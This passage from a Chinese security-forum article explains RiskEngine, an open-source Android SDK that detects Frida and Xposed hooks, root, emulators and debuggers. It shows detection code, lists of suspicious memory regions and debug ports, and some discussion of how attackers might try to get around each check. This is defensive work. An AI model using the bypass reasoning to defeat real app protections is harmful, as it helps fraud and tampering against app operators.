class="code-snippet__keyword">continue</span>;</span><span leaf=""><br/></span><span leaf="">const</span><span leaf=""> MapEntry *region = <span class="code-snippet__built_in">find_region</span>(regions, candidate_address);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (region == <span class="code-snippet__literal">nullptr</span> || !<span class="code-snippet__built_in">is_executable_region</span>(*region)) <span class="code-snippet__keyword">continue</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// ... 收集候选</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz21qc5" style="font-size: 15px;"><span leaf="">这块的实现思路很务实：ArtMethod 在不同 Android 版本上字段偏移会变（11、12、13、14 都不一样），与其精确匹配某个版本，不如把 ArtMethod 头部 64 字节都扫一遍，挑里面</span><strong><span leaf="">指向可执行内存段的指针</span></strong><span leaf="">作为候选，取偏移最大的那个（一般是入口指针的位置）。然后看这个指针落在哪个内存段：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz23i1"><span leaf=""><span class="code-snippet__keyword">if</span> (is_suspicious_method_region(chosen-&gt;region) || !is_allowed_method_region(chosen-&gt;region)) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;suspicious:&#34;</span> + summary.str();</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;ok:&#34;</span> + summary.str();</span></code></pre></p><p><span mpa-font-style="motoohz21j82" style="font-size: 15px;"><span leaf="">落在</span><code><span leaf="">frida/gadget/xposed/substrate</span></code><span leaf="">之类的段、或者落在不被允许的段（合法 ART 区是</span><code><span leaf="">libart</span></code><span leaf="">、</span><code><span leaf="">/apex/</span></code><span leaf="">、</span><code><span leaf="">/system/</span></code><span leaf="">、</span><code><span leaf="">.oat</span></code><span leaf="">、</span><code><span leaf="">.odex</span></code><span leaf="">、</span><code><span leaf="">memfd:jit</span></code><span leaf="">、</span><code><span leaf="">/data/app/</span></code><span leaf="">等），都算 suspicious。</span></span></p><p><span mpa-font-style="motoohz2qn5" style="font-size: 15px;"><span leaf="">这一招的核心威慑力：</span><strong><span leaf="">哪怕攻击者把 Frida 包装得连匿名内存都没了、连协议都改了、连进程名都伪装得和系统进程一样，只要它真的劫持了关键方法，那个方法的入口指针一定指向 Frida 的内存段</span></strong><span leaf="">。</span></span></p><p><span leaf="" mpa-font-style="motoohz21j8v" style="font-size: 15px;">绕这一层有两个思路，但都自相矛盾：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="motoohz2rnl" style="font-size: 15px;"><span leaf="">不去 hook 这几个方法——但 Frida 的目的就是为了 hook，关键方法本身就是 hook 检测的入口（</span><code><span leaf="">HookFrameworkDetector.detect</span></code><span leaf="">），不 hook 它就拿不到任何成果</span></span></p></li><li><p><span leaf="" mpa-font-style="motoohz21oro" style="font-size: 15px;">hook 完之后还把读字节的接口也 hook 掉让它返回原始字节——但这又落入&#34;多源验证&#34;陷阱：JNI 路径、syscall 路径、ArtMethod 内存指针，全都得同步劫持</span></p></li></ul><p><span leaf="" mpa-font-style="motoohz221dc" style="font-size: 15px;">到这一层，攻防进入&#34;你绕一招我加一招&#34;的纯阵地战。</span></p><p><span mpa-font-style="motoohz2w7x" style="font-size: 15px;"><span leaf="">最后还有</span><code><span leaf="">RiskReport.java</span></code><span leaf="">第 100 行的兜底逻辑：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2r6a"><span leaf=""><span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">boolean</span> <span class="code-snippet__title">hasHardTrigger</span>() {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (<span class="code-snippet__title">DetectionResult</span> detection : detections) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (detection.<span class="code-snippet__title">getRiskLevel</span>().<span class="code-snippet__title">getValue</span>() &lt; <span class="code-snippet__title">RiskLevel</span>.</span><span leaf="">HIGH</span><span leaf="">.<span class="code-snippet__title">getValue</span>()) <span class="code-snippet__keyword">continue</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">String</span> name = detection.<span class="code-snippet__title">getDetectorName</span>();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">List</span>&lt;<span class="code-snippet__title">String</span>&gt; details = detection.<span class="code-snippet__title">getDetails</span>();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__string">&#34;hook_framework&#34;</span>.<span class="code-snippet__title">equals</span>(name) &amp;&amp; <span class="code-snippet__title">containsAny</span>(details,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;dbus_reject&#34;</span>, <span class="code-snippet__string">&#34;frida_pid_port&#34;</span>, <span class="code-snippet__string">&#34;anon_exec&#34;</span>, <span class="code-snippet__string">&#34;trampoline&#34;</span>, <span class="code-snippet__string">&#34;sigtrap&#34;</span>)) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (<span class="code-snippet__string">&#34;method_integrity&#34;</span>.<span class="code-snippet__title">equals</span>(name)) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz2b5i" style="font-size: 15px;"><code></code></span></p><p><span mpa-font-style="motoohz2b5i" style="font-size: 15px;"><code><span leaf="">method_integrity</span></code><span leaf="">命中任何一项 → 直接 DEADLY，不管别的检测打了多少分。这是把&#34;自检&#34;放到 SDK 决策的至高位。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="motoohz2187i" style="font-size: 15px;"><span leaf="">第 6 层：信号分级 + 多招组合</span></span></h3><p><span leaf="" mpa-font-style="motoohz2iha" style="font-size: 15px;">到这里所有招式都讲完了，最后讲怎么把它们组合起来出一个判定。</span></p><p><span mpa-font-style="motoohz2eu" style="font-size: 15px;"><span leaf="">回到</span><code><span leaf="">HookFrameworkDetector.java</span></code><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz215zc"><span leaf=""><span class="code-snippet__keyword">private</span> </span><span leaf="">static</span><span leaf=""><span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">SignalScore</span> {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">private</span> </span><span leaf="">int</span><span leaf=""> strong;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">private</span> </span><span leaf="">int</span><span leaf=""> medium;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">private</span> </span><span leaf="">int</span><span leaf=""> weak;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz21w4o" style="font-size: 15px;"><span leaf="">每条规则按强弱给信号打标，加到</span><code><span leaf="">SignalScore</span></code><span leaf="">：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="motoohz21r21" style="font-size: 15px;"><span leaf="">strong：内存层痕迹（</span><code><span leaf="">anon_exec</span></code><span leaf="">、</span><code><span leaf="">trampoline</span></code><span leaf="">、</span><code><span leaf="">sigtrap</span></code><span leaf="">）、协议握手（</span><code><span leaf="">dbus_reject</span></code><span leaf="">）、进程关联（</span><code><span leaf="">frida_pid_port</span></code><span leaf="">）、Xposed 实际激活的 hook 数量</span></span></p></li><li><p><span leaf="" mpa-font-style="motoohz2lzu" style="font-size: 15px;">medium：线程名、Xposed 类被加载、栈痕迹、默认端口连得上</span></p></li><li><p><span leaf="" mpa-font-style="motoohz2ng8" style="font-size: 15px;">weak：其他弱信号（一般是 native 层那些不太确定的字符串）</span></p></li></ul><p><span leaf="" mpa-font-style="motoohz21nkk" style="font-size: 15px;">最后按累加值判级：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2lu8"><span leaf="">if (score.strong &gt;= <span class="code-snippet__number">2</span> || (score.strong &gt;= <span class="code-snippet__number">1</span> &amp;&amp; score.medium &gt;= <span class="code-snippet__number">2</span>)) {</span><span leaf=""><br/></span><span leaf="">    return <span class="code-snippet__built_in">result</span>(RiskLevel.DEADLY, ..., <span class="code-snippet__number">10</span>, <span class="code-snippet__number">10</span>, ...);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">if (score.strong &gt;= <span class="code-snippet__number">1</span> || score.medium &gt;= <span class="code-snippet__number">2</span>) {</span><span leaf=""><br/></span><span leaf="">    return <span class="code-snippet__built_in">result</span>(RiskLevel.HIGH, ..., <span class="code-snippet__number">8</span>, <span class="code-snippet__number">10</span>, ...);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">return <span class="code-snippet__built_in">result</span>(RiskLevel.MEDIUM, ..., <span class="code-snippet__number">4</span>, <span class="code-snippet__number">10</span>, ...);</span></code></pre></p><p><span mpa-font-style="motoohz21q4m" style="font-size: 15px;"><span leaf="">之所以这么搞，是因为每一档单独看都可以被绕。线程名能改、端口能换、字符串能 mv、连 anon_exec 都有偏门姿势能伪装。但要强迫攻击者</span><strong><span leaf="">同时</span></strong><span leaf="">在所有维度全部绕过——改名 + 改端口 + 改协议 + 不留匿名内存 + 不动方法入口 + 不被 SIGTRAP 探针发现 + 4 路 Android ID 数据始终一致——这个工程量已经超过&#34;重新写一个 Frida&#34;。</span></span></p><p><span leaf="" mpa-font-style="motoohz2pcj" style="font-size: 15px;">写一条 99% 准确的规则比写十条 90% 准确的规则更难。十条 90% 的规则做投票反而稳。这是做风控这些年最朴素的一条经验。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 1px 0px;background-image: linear-gradient(90deg, rgba(247, 190, 148, 0) 0%, rgb(247, 190, 148) 50%, rgba(247, 190, 255, 0) 100%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgba(255, 235, 194, 0) 0%, rgb(255, 235, 194) 50%, rgba(255, 235, 194, 0) 100%);min-width: 5%;max-width: 100%;height: auto;padding: 8px 20px;border-top-style: solid;border-top-width: 0px;border-bottom-style: solid;border-bottom-width: 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(4, 4, 4);letter-spacing: 1px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">顺便聊聊其他几个检测器</span></strong></p></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motoohz2pem" style="font-size: 15px;">Frida 那块是最重的，剩下几个检测器思路一样，简单扫过。</span></p><p><span mpa-font-style="motoohz21eup" style="font-size: 15px;"><code><span leaf="">detector/RootDetector.java</span></code><span leaf="">用</span><code><span leaf="">su</span></code><span leaf="">二进制路径列表 + Magisk 路径 +</span><code><span leaf="">getenforce</span></code><span leaf="">看 SELinux 是不是 Permissive + native 端的 root 检测组合。重点是把</span><code><span leaf="">/data/adb/magisk</span></code><span leaf="">这类</span><strong><span leaf="">模块化 root</span></strong><span leaf="">的特征单独检测了，老的 root 脚本通常只盯</span><code><span leaf="">/system/bin/su</span></code><span leaf="">，会漏。</span></span></p><p><span mpa-font-style="motoohz21az7" style="font-size: 15px;"><code><span leaf="">detector/EmulatorDetector.java</span></code><span leaf="">是个证据累积型设计：传感器数量太少、传感器厂商写着 AOSP、热区为空、缺蓝牙摄像头闪光特性、网卡 IP 是</span><code><span leaf="">10.0.2.15</span></code><span leaf="">（QEMU 默认网关）等十几条特征，</span><strong><span leaf="">累积到 3 条以上才升级风险等级</span></strong><span leaf="">。&#34;3 条以上&#34;这个阈值是控误报的关键——单个特征都有概率出现在物理设备上，比如低端机传感器确实少。</span></span></p><p><span mpa-font-style="motoohz2dqc" style="font-size: 15px;"><code><span leaf="">detector/DebugDetector.java</span></code><span leaf="">主要靠</span><code><span leaf="">TracerPid</span></code><span leaf="">字段（在</span><code><span leaf="">/proc/self/status</span></code><span leaf="">里），同时用 native 的 ptrace 探测、ADB 端口探测、IDA 默认调试端口 23946、maps 里的</span><code><span leaf="">gdbserver</span></code><span leaf="">/</span><code><span leaf="">lldb</span></code><span leaf="">/</span><code><span leaf="">android_server</span></code><span leaf="">等做交叉验证。</span></span></p><p><span mpa-font-style="motoohz2stg" style="font-size: 15px;"><code><span leaf="">detector/MountAnalysisDetector.java</span></code><span leaf="">直接读</span><code><span leaf="">/proc/mounts</span></code><span leaf="">和</span><code><span leaf="">/proc/self/mountinfo</span></code><span leaf="">，找</span><code><span leaf="">magisk</span></code><span leaf="">字串和</span><code><span leaf="">tmpfs /system</span></code><span leaf="">这种&#34;内存覆盖系统分区&#34;的痕迹。Magisk 类的模块化 root 必须用 tmpfs 挂载覆盖系统分区，这个行为在挂载表里改不掉——内核生成的视图。这是非常稳的一条规则。</span></span></p><p><span mpa-font-style="motoohz217zc" style="font-size: 15px;"><span leaf="">每个检测器拉出来都是同一套思路：</span><strong><span leaf="">多个独立特征、信号分级、组合判定、native 层兜底</span></strong><span leaf="">。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 1px 0px;background-image: linear-gradient(90deg, rgba(247, 190, 148, 0) 0%, rgb(247, 190, 148) 50%, rgba(247, 190, 255, 0) 100%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgba(255, 235, 194, 0) 0%, rgb(255, 235, 194) 50%, rgba(255, 235, 194, 0) 100%);min-width: 5%;max-width: 100%;height: auto;padding: 8px 20px;border-top-style: solid;border-top-width: 0px;border-bottom-style: solid;border-bottom-width: 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(4, 4, 4);letter-spacing: 1px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">工程实践中的细节</span></strong></p></div></div></div></div></div></div></div></div><p><span mpa-font-style="motoohz21y9" style="font-size: 15px;"><strong><span leaf="">注册表插件化</span></strong><span leaf="">。</span><code><span leaf="">detector/DetectorRegistry.java</span></code><span leaf="">和</span><code><span leaf="">collector/CollectorRegistry.java</span></code><span leaf="">都是简单的构造函数里</span><code><span leaf="">add(new XxxDetector(context))</span></code><span leaf="">。要扩展新检测，新建一个类继承</span><code><span leaf="">BaseDetector</span></code><span leaf="">，在 Registry 里加一行就行，主流程一行不用改。</span></span></p><p><span mpa-font-style="motoohz2fvc" style="font-size: 15px;"><strong><span leaf="">任务并发与超时</span></strong><span leaf="">。</span><code><span leaf="">core/TaskScheduler.java</span></code><span leaf="">用</span><code><span leaf="">ExecutorService + Future</span></code><span leaf="">把所有 collector 和 detector 并行跑，统一超时（默认 15 秒）。任意单个任务挂了不影响其他任务的结果。脚本思维容易写出&#34;按顺序执行 N 个检测、第 5 个卡住整个进程都回不来&#34;这种代码，并发 + 超时是 SDK 化的硬门槛。</span></span></p><p><span mpa-font-style="motoohz275w" style="font-size: 15px;"><strong><span leaf="">Native 边界</span></strong><span leaf="">。</span><code><span leaf="">detector/DebugDetector.java</span></code><span leaf="">第 60 行起，先调</span><code><span leaf="">NativeCollectorBridge.nativeGetTracerPid()</span></code><span leaf="">，失败才 fallback 到 Java 读</span><code><span leaf="">/proc/self/status</span></code><span leaf="">。这个&#34;native 优先、Java 兜底&#34;模式贯穿所有检测器：能下沉的尽量下沉到 C++，因为 native 层加上前面说的 raw syscall，攻击表面要小一档。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 1px 0px;background-image: linear-gradient(90deg, rgba(247, 190, 148, 0) 0%, rgb(247, 190, 148) 50%, rgba(247, 190, 255, 0) 100%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgba(255, 235, 194, 0) 0%, rgb(255, 235, 194) 50%, rgba(255, 235, 194, 0) 100%);min-width: 5%;max-width: 100%;height: auto;padding: 8px 20px;border-top-style: solid;border-top-width: 0px;border-bottom-style: solid;border-bottom-width: 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(4, 4, 4);letter-spacing: 1px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">写在最后</span></strong></p></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motoohz21e7b" style="font-size: 15px;">代码仓库地址：<a href="https://github.com/WsttXm/RiskEngine。" target="_blank">https://github.com/WsttXm/RiskEngine。</a></span></p><p><span leaf="" mpa-font-style="motoohz21e7b" style="font-size: 15px;">Releases中有编译好的APK和aar，欢迎体验、欢迎提Issue 和 PR。</span></p><p><strong mpa-font-style="motoohz21efj" style="font-size: 15px;"><span leaf="">致谢</span></strong></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="motoohz21hl9" style="font-size: 15px;"><a href="https://github.com/taisuii/sentry" target="_blank">https://github.com/taisuii/sentry</a></span></p></li><li><p><span leaf="" mpa-font-style="motoohz2234g" style="font-size: 15px;"><a href="https://github.com/taisuii/rusda" target="_blank">https://github.com/taisuii/rusda</a></span></p></li><li><p><span leaf="" mpa-font-style="motoohz2ufi" style="font-size: 15px;"><a href="https://github.com/1193776794/launch" target="_blank">https://github.com/1193776794/launch</a></span></p></li></ul><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);letter-spacing: 1px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: auto;margin-left: auto;padding: 15px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;font-variant-numeric: normal;letter-spacing: 0.544px;line-height: 27.2px;width: 656.688px;justify-content: space-between;align-items: center;flex-direction: row;box-shadow: rgb(217, 218, 218) 0px 0px 10px;background-color: rgb(232, 234, 235);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;justify-content: flex-start;align-items: center;flex-direction: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;border-width: 1px;border-style: solid;border-color: rgb(182, 182, 187);border-radius: 50%;width: 70px;height: 70px;overflow: hidden;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="jpeg" data-w="128" style="-webkit-tap-highlight-color:transparent;outline:0px;border-style:none;letter-spacing:0.544px;display:inline;width:68px;visibility:visible !important;height:68px;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/Cpo2XCpI7K1NhPOw6PJxLKaE662LMulvKiavNHRT3eUooQ0ywiaAU1Cqt6iaLkvOFiaQPazzXpPfTrJ8O0m3xpibj8n9nx1ybFYtib3TxgT6T7iafE/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="68" data-cropsely2="68" data-imgfileid="311130922" src="https://wechat2rss.xlab.app/img-proxy/?k=44797ee1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1NhPOw6PJxLKaE662LMulvKiavNHRT3eUooQ0ywiaAU1Cqt6iaLkvOFiaQPazzXpPfTrJ8O0m3xpibj8n9nx1ybFYtib3TxgT6T7iafE%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-left: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;align-items: flex-start;justify-content: center;flex-direction: column;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" data-immersive-translate-paragraph="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 15px;letter-spacing: 1px;font-weight: bolder;"><span leaf="">看雪ID：</span><span leaf="">WsttXm</span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: normal;"><span leaf=""><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://bbs.kanxue.com/user-home-949425.htm" target="_blank">https://bbs.kanxue.com/user-home-949425.htm</a></span></span></span></p></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;min-height: 1em;background-color: rgb(255, 255, 255);"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 14px;color: rgb(136, 136, 136);"><span leaf="">*本文为看雪论坛优秀文章，由 </span><span leaf="">WsttXm</span><span leaf="">原创，转载请注明来自看雪社区</span></span></p><div style="text-align: center;margin-left: 0px;margin-right: 0px;"><p style="text-align: center;margin-top: 16px;"><a href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458611117&amp;idx=1&amp;sn=f063788f8971edf449fd09571d515ba7&amp;scene=21#wechat_redirect" imgurl="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/640?wx_fmt=jpeg&amp;from=appmsg" linktype="image" tab="innerlink" data-itemshowtype="0" target="_blank" data-linktype="1"><span style="width:100%;" class="js_jump_icon h5_image_link"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.509375" data-s="300,640" data-type="jpeg" data-w="1280" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="233" data-backw="578" data-backh="294" data-imgfileid="311130825" src="https://wechat2rss.xlab.app/img-proxy/?k=5cafe0fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></a></p><p style="text-align: center;"><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">第十届安全开发者峰会【</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;margin-left: 0px;margin-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">议题征集</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">】-欢迎投稿</span></span></p></div><div mpa-from-tpl="t" data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;"><div 